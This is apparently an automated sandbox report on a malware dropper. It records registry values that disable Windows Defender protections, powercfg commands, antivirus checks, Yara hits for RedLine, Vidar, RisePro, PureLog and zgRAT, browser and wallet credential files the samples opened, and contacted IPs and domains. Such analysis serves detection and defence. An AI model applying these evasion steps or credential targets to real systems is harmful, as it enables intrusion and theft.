Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry value created: Exclusions_Extensions 1			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

AV process strings found (often used to terminate AV products)

Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000159A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.cWSgbiiWuHkrGD6e9Bvvb03z.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2826325631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2931931967.0000000003DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3242292566.000000000044D000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3391026946.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1sMfNqnOFjTOadWc0yClvu5P.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6160, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 13.2.tDrDIT3EJ93dpzmmxTIMr4ah.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lrPP7Py6j59vWWqs5P8cBSO1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: lrPP7Py6j59vWWqs5P8cBSO1.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smXaUwB1apxcy5uQ1QhDrzwt.exe PID: 5532, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2646927857.0000000000D05000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: ~PColumnMasterKey_KeyStoreProviderNameNameP~PColumnMasterKey_KeyStoreProviderNameDescp~FSecurityPredicate_PredicateTypeDesc

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini			Jump to behavior

Searches for user specific document files

Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe

Directory queried: C:\Users\user\Documents

Yara detected Credential Stealer

Source: Yara match	File source: 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.cWSgbiiWuHkrGD6e9Bvvb03z.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2826325631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2931931967.0000000003DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3242292566.000000000044D000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3391026946.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1sMfNqnOFjTOadWc0yClvu5P.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6160, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 13.2.tDrDIT3EJ93dpzmmxTIMr4ah.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lrPP7Py6j59vWWqs5P8cBSO1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: lrPP7Py6j59vWWqs5P8cBSO1.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smXaUwB1apxcy5uQ1QhDrzwt.exe PID: 5532, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2646927857.0000000000D05000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.233.132.139	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
37.221.125.202	f.123654987.xyz	Lithuania	62416	PTSERVIDORPT	true
186.10.35.108	pofix.red	Chile	6471	ENTELCHILESACL	false
95.217.245.42	unknown	Germany	24940	HETZNER-ASDE	false
172.67.172.104	cheremushki.net	United States	13335	CLOUDFLARENETUS	false
172.67.161.113	carthewasher.net	United States	13335	CLOUDFLARENETUS	false
5.42.65.96	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
104.21.49.118	dod.fastbutters.com	United States	13335	CLOUDFLARENETUS	false
95.142.206.3	sun6-23.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.0	sun6-20.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
147.45.47.93	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
95.142.206.1	sun6-21.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
104.105.90.131	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
172.67.147.32	iplis.ru	United States	13335	CLOUDFLARENETUS	false
185.172.128.203	unknown	Russian Federation	50916	NADYMSS-ASRU	false
193.233.132.226	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.144.181	zanzibarpivo.com	United States	13335	CLOUDFLARENETUS	false
172.67.75.166	db-ip.com	United States	13335	CLOUDFLARENETUS	false
172.67.75.163	api.myip.com	United States	13335	CLOUDFLARENETUS	false
104.26.8.59	unknown	United States	13335	CLOUDFLARENETUS	false
93.186.225.194	vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
172.67.180.119	triedchicken.net	United States	13335	CLOUDFLARENETUS	false
5.42.66.10	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
45.130.41.108	monoblocked.com	Russian Federation	198610	BEGET-ASRU	false
172.67.151.19	sextipolar.sbs	United States	13335	CLOUDFLARENETUS	false

Contacted Domains

Name	IP	Active
chrome.cloudflare-dns.com	172.64.41.3	true
monoblocked.com	45.130.41.108	true
sun6-21.userapi.com	95.142.206.1	true
sextipolar.sbs	172.67.151.19	true
